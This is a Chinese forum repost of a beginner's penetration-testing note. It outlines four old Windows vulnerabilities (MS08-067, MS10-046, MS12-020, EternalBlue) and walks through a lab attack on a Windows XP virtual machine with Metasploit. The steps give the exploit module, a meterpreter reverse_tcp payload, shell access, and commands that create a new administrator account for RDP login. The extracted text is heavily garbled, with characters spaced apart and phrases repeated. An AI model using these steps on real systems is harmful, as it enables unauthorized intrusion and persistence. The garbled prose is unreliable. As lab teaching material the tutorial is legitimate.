搜索

[21661] 2021-02-09_主机漏洞利用原理及演示

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-18
2021-02-09_主机漏洞利用原理及演示 主 机 漏 洞 利 用 原 理 及 演 示 y o y o d a n   L e m o n S e c   2 0 2 1 - 0 2 - 0 9 这 是 我 最 早 学 习 渗 透 的 笔 记 了 ， 现 在 回 头 来 看 看 就 是 它 给 我 打 开 了 这 道 门 ， 操 作 起 来 还 是 很 简 单 的 ， 建 议 大 家 在 操 作 之 前 先 去 学 习 这 是 我 最 早 学 习 渗 透 的 笔 记 了 ， 现 在 回 头 来 看 看 就 是 它 给 我 打 开 了 这 道 门 ， 操 作 起 来 还 是 很 简 单 的 ， 建 议 大 家 在 操 作 之 前 先 去 学 习 学 习 学 习 l i n u x 基 础 和 基 础 和 k a l i 的 用 法 ， 了 解 一 下 的 用 法 ， 了 解 一 下 M e t a s p l o i t 渗 透 测 试 框 架 ， 说 到 这 推 荐 大 家 一 个 学 习 网 站 叫 实 验 楼 渗 透 测 试 框 架 ， 说 到 这 推 荐 大 家 一 个 学 习 网 站 叫 实 验 楼 h t t p s : / / w w w . s h i y a n l o u . c o m / ， ， 让 你 实 际 操 作 起 来 更 容 易 记 住 ， 里 面 不 仅 可 以 学 习 让 你 实 际 操 作 起 来 更 容 易 记 住 ， 里 面 不 仅 可 以 学 习 l i n u x 基 础 还 有 很 多 免 费 课 程 可 以 学 习 学 习 ， 学 习 完 基 础 之 后 配 置 好 虚 拟 机 环 境 就 基 础 还 有 很 多 免 费 课 程 可 以 学 习 学 习 ， 学 习 完 基 础 之 后 配 置 好 虚 拟 机 环 境 就 可 以 做 啦 ， 下 面 先 介 绍 一 下 这 几 个 漏 洞 的 原 理 ， 原 理 一 开 始 不 理 解 没 关 系 ， 咱 们 先 学 会 操 作 ， 记 住 这 个 东 西 ， 慢 慢 得 越 学 越 深 总 会 可 以 做 啦 ， 下 面 先 介 绍 一 下 这 几 个 漏 洞 的 原 理 ， 原 理 一 开 始 不 理 解 没 关 系 ， 咱 们 先 学 会 操 作 ， 记 住 这 个 东 西 ， 慢 慢 得 越 学 越 深 总 会 理 解 的 。 理 解 的 。 M S 0 8 - 0 6 7 原 理 简 介 原 理 简 介 　 　 　 　 M S 0 8 - 0 6 7 漏 洞 是 通 过 漏 洞 是 通 过 M S R P C （ （ M i c r o s o f t   R e m o t e   P r o c e d u r e   C a l l 远 程 进 程 调 用 ） 远 程 进 程 调 用 ） o v e r   S M B （ （ S e r v e r M e s s a g e B l o c k 协 议 ， 作 为 一 种 协 议 ， 作 为 一 种 局 域 网 文 件 共 享 传 输 协 议 ， 常 被 用 来 作 为 共 享 文 件 安 全 传 输 研 究 的 平 台 ） 通 道 调 用 局 域 网 文 件 共 享 传 输 协 议 ， 常 被 用 来 作 为 共 享 文 件 安 全 传 输 研 究 的 平 台 ） 通 道 调 用 S e r v e r 服 务 程 序 中 的 服 务 程 序 中 的 N e t P a t h C a n o n i c a l i z e 函 数 时 函 数 时 触 发 的 ， 而 触 发 的 ， 而 N e t P a t h C a n o n i c a l i z e 函 数 在 远 程 访 问 其 他 主 机 时 ， 会 调 用 函 数 在 远 程 访 问 其 他 主 机 时 ， 会 调 用 N e t p w P a t h C a n o n i c a l i z e 函 数 ， 对 远 程 访 问 的 路 径 进 行 规 范 化 ， 而 函 数 ， 对 远 程 访 问 的 路 径 进 行 规 范 化 ， 而 在 在 N e t p w P a t h C a n o n i c a l i z e 函 数 中 存 在 的 逻 辑 错 误 ， 造 成 栈 缓 冲 区 可 被 溢 出 ， 而 获 得 远 程 代 码 执 行 。 函 数 中 存 在 的 逻 辑 错 误 ， 造 成 栈 缓 冲 区 可 被 溢 出 ， 而 获 得 远 程 代 码 执 行 。 　 　 在 路 径 规 范 化 的 操 作 中 ， 服 务 程 序 对 路 径 字 符 串 的 地 址 空 间 检 查 存 在 逻 辑 漏 洞 。 攻 击 者 通 过 精 心 设 计 输 入 路 径 ， 可 以 在 函 数 去 　 　 在 路 径 规 范 化 的 操 作 中 ， 服 务 程 序 对 路 径 字 符 串 的 地 址 空 间 检 查 存 在 逻 辑 漏 洞 。 攻 击 者 通 过 精 心 设 计 输 入 路 径 ， 可 以 在 函 数 去 除 【 除 【 . . 】 字 符 串 时 ， 把 路 径 字 符 串 中 内 容 复 制 到 路 径 串 之 前 的 地 址 空 间 中 （ 低 地 址 ） ， 达 到 覆 盖 函 数 返 回 地 址 ， 执 行 任 意 代 码 的 目 】 字 符 串 时 ， 把 路 径 字 符 串 中 内 容 复 制 到 路 径 串 之 前 的 地 址 空 间 中 （ 低 地 址 ） ， 达 到 覆 盖 函 数 返 回 地 址 ， 执 行 任 意 代 码 的 目 的 。 的 。 M S 1 0 - 0 4 6 原 理 简 介 原 理 简 介 　 　 即 　 　 即 M i c r o s o f t   W i n d o w s 快 捷 方 式 快 捷 方 式 L N K 文 件 自 动 执 行 代 码 漏 洞 。 文 件 自 动 执 行 代 码 漏 洞 。 　 　 　 　 W i n d o w s 支 持 使 用 快 捷 方 式 或 支 持 使 用 快 捷 方 式 或 L N K 文 件 。 文 件 。 L N K 文 件 是 指 向 本 地 文 件 的 引 用 ， 点 击 文 件 是 指 向 本 地 文 件 的 引 用 ， 点 击 L N K 文 件 与 点 击 快 捷 方 式 所 制 定 的 目 标 具 有 相 文 件 与 点 击 快 捷 方 式 所 制 定 的 目 标 具 有 相 同 效 果 。 同 效 果 。 W i n d o w s 没 有 正 确 的 处 理 没 有 正 确 的 处 理 L N K 文 件 ， 特 制 的 文 件 ， 特 制 的 L N K 文 件 可 能 导 致 文 件 可 能 导 致 W i n d o w s 自 动 执 行 快 捷 方 式 文 件 所 指 定 的 代 码 。 这 些 代 码 可 能 自 动 执 行 快 捷 方 式 文 件 所 指 定 的 代 码 。 这 些 代 码 可 能 位 于 位 于 U S B 驱 动 、 本 地 或 远 程 文 件 系 统 、 光 驱 或 其 他 位 置 ， 使 用 资 源 管 理 器 查 看 了 驱 动 、 本 地 或 远 程 文 件 系 统 、 光 驱 或 其 他 位 置 ， 使 用 资 源 管 理 器 查 看 了 L N K 文 件 所 在 的 位 置 就 足 以 触 发 这 个 漏 洞 。 文 件 所 在 的 位 置 就 足 以 触 发 这 个 漏 洞 。 M S 1 2 - 0 2 0 原 理 简 介 原 理 简 介 　 　 　 　 M S 1 2 - 0 2 0 是 一 个 针 对 是 一 个 针 对 R D P 远 程 桌 面 协 议 的 漏 洞 ， 可 能 会 造 成 远 程 执 行 代 码 ， 可 用 于 作 远 程 桌 面 协 议 的 漏 洞 ， 可 能 会 造 成 远 程 执 行 代 码 ， 可 用 于 作 D o s 攻 击 。 攻 击 。 M S 1 7 - 0 1 0 原 理 简 介 原 理 简 介 　 　 永 恒 之 蓝 漏 洞 是 方 程 式 组 织 在 其 漏 洞 利 用 框 架 中 一 个 针 对 　 　 永 恒 之 蓝 漏 洞 是 方 程 式 组 织 在 其 漏 洞 利 用 框 架 中 一 个 针 对 S M B 服 务 进 行 攻 击 的 漏 洞 ， 该 漏 洞 导 致 攻 击 者 在 目 标 系 统 上 可 以 执 行 服 务 进 行 攻 击 的 漏 洞 ， 该 漏 洞 导 致 攻 击 者 在 目 标 系 统 上 可 以 执 行 任 意 代 码 ， 事 实 上 永 恒 之 蓝 应 用 的 不 仅 仅 是 一 个 漏 洞 ， 而 是 包 含 任 意 代 码 ， 事 实 上 永 恒 之 蓝 应 用 的 不 仅 仅 是 一 个 漏 洞 ， 而 是 包 含 W i n d o w s   S M B   远 程 代 码 执 行 漏 洞 远 程 代 码 执 行 漏 洞 C V E - 2 0 1 7 - 0 1 4 3 、 、 C V E - 2 0 1 7 - 0 1 4 4 、 、 C V E - 2 0 1 7 - 0 1 4 5 、 、 C V E - 2 0 1 7 - 0 1 4 6 、 、 C V E - 2 0 1 7 - 0 1 4 7 、 、 C V E - 2 0 1 7 - 0 1 4 8 在 内 的 在 内 的 6 个 个 S M B 漏 洞 的 攻 击 ， 所 以 攻 击 显 得 十 分 繁 琐 。 漏 洞 的 攻 击 ， 所 以 攻 击 显 得 十 分 繁 琐 。 接 下 来 咱 们 以 接 下 来 咱 们 以 M S 0 8 - 0 6 7 漏 洞 为 例 进 行 演 示 （ 为 什 么 只 演 示 一 个 漏 洞 ？ 因 为 操 作 都 大 同 小 异 ） ： 漏 洞 为 例 进 行 演 示 （ 为 什 么 只 演 示 一 个 漏 洞 ？ 因 为 操 作 都 大 同 小 异 ） ： 　 　 一 、   实 验 名 称 ： M S 0 8 - 0 6 7 漏 洞 攻 击 　 　 二 、   实 验 环 境 ： V M w a r e   W o r k s t a t i o n   p r o 虚 拟 机 、 M e t a s p l o i t 渗 透 测 试 框 架 、 k a l i - l i n u x - 2 0 1 9 . 4 （ 攻 击 机 ） 、 W i n X P e n S P 3 （ 靶 机 ） 、 攻 击 机 i p ： 1 9 2 . 1 6 8 . 2 0 2 . 1 2 8 、 靶 机 i p ： 1 9 2 . 1 6 8 . 2 0 2 . 1 2 9 　 　 三 、   实 验 步 骤 ： 　 　 1 .   打 开 l i n u x 系 统 终 端 ， 输 入 i f c o n f i g 查 看 l i n u x 系 统 i p 地 址 为 1 9 2 . 1 6 8 . 2 0 2 . 1 2 8
　 　 　 　 2 .   打 开 靶 机 系 统 W i n d o w s 键 加 r 输 入 c m d ， 进 入 命 令 控 制 台 ， 输 入 i p c o n f i g 查 看 x p 系 统 i p 地 址 为 1 9 2 . 1 6 8 . 2 0 2 . 1 2 9 　 　 　 　 3 .   两 系 统 之 间 进 行 p i n g 操 作 ， 检 查 是 否 能 通 信 　 　 　 　 　 　 　 　 4 .   成 功 通 信 之 后 ， 启 用 m s f ， 命 令 为 m s f c o n s o l e 　 　 　 　 5 .   搜 索 漏 洞 ， 命 令 为 s e a r c h   m s 0 8 - 0 6 7 （ 这 里 你 想 实 验 哪 个 漏 洞 就 输 入 那 个 漏 洞 的 代 号 ）
　 　 　 　 6 .   接 着 调 用 合 适 的 漏 洞 ， 我 们 称 之 为 选 择 攻 击 枪 ， 命 令 为 ： u s e   e x p l o i t / w i n d o w s / s m b / m s 0 8 _ 0 6 7 _ n e t a p i 　 　 　 　 7 .   然 后 让 我 们 装 上 子 弹 ， 配 置 攻 击 信 息 和 加 载 攻 击 负 载 ， 这 里 我 们 可 以 先 s h o w   o p t i o n s 查 看 我 们 需 要 配 置 的 信 息 ， 配 置 好 之 后 也 可 以 通 过 这 个 命 令 查 看 是 否 配 置 成 功 ， 这 里 再 提 一 下 攻 击 负 载 ， w i n d o w s ( 靶 机 的 操 作 系 统 ) / m e t e r p r e t e r ( 或 s h e l l ， 选 择 控 制 台 ) / r e v e r s e _ t c p ( 或 b i n d _ t c p ， 选 择 攻 击 方 法 ) ， 括 号 里 外 的 区 别 大 家 可 以 先 自 己 操 作 对 比 一 下 ， 再 去 网 上 搜 一 搜 具 体 的 解 释 　 　 　 　 8 .   开 始 漏 洞 利 用 ， 返 回 成 功 利 用 的 信 息 ， 命 令 e x p l o i t 或 r u n 都 可 以 　 　 　 　 9 .   因 为 之 前 设 置 进 入 了 m e t e r p r e t e r 控 制 台 ， 接 着 我 们 查 看 当 前 的 用 户 权 限 ， 输 入 g e t u i d ， 得 到 权 限 的 级 别 后 ， 进 入 s h e l l ， 当 然 ， 不 同 的 漏 洞 有 不 同 的 攻 击 效 果 ， 大 家 自 行 尝 试
　 　 　 　 1 0 .   可 以 看 到 已 经 进 入 了 靶 机 的 管 理 员 命 令 控 制 台 ， 给 靶 机 添 加 用 户 账 号 ， 命 令 为 n e t   u s e r   y o y o d a n （ 用 户 名 ）   0 0 0 0 0 0 （ 密 码 ）   / a d d 　 　 　 　 1 1 .   把 刚 刚 创 建 好 的 用 户 添 加 到 管 理 员 组 ， 命 令 ： n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   y o y o d a n   / a d d 　 　 　 　 1 2 .   远 程 登 录 到 靶 机 系 统 ， 输 入 e x i t 退 出 到 r o o t 操 作 后 输 入 命 令 r d e s k t o p   1 9 2 . 1 6 8 . 2 0 2 . 1 2 9 ， 用 我 们 之 前 创 建 好 的 用 户 登 录 ， 当 然 我 们 还 可 以 进 行 其 他 的 后 渗 透 操 作 ， 或 许 今 后 会 写 一 篇 后 渗 透 文 章 ， 尽 请 期 待 　 　 　 　 作 者 ： y o y o d a n 出 处 ： h t t p s : / / w w w . c n b l o g s . c o m / I a m y o y o d a n / 本 文 版 权 归 作 者 和 博 客 园 共 有 ， 欢 迎 转 载 ， 但 必 须 给 出 原 文 链 接 ， 并 保 留 此 段 声 明 ， 否 则 保 留 追 究 法 律 责 任 的 权 利 。 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持
“ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理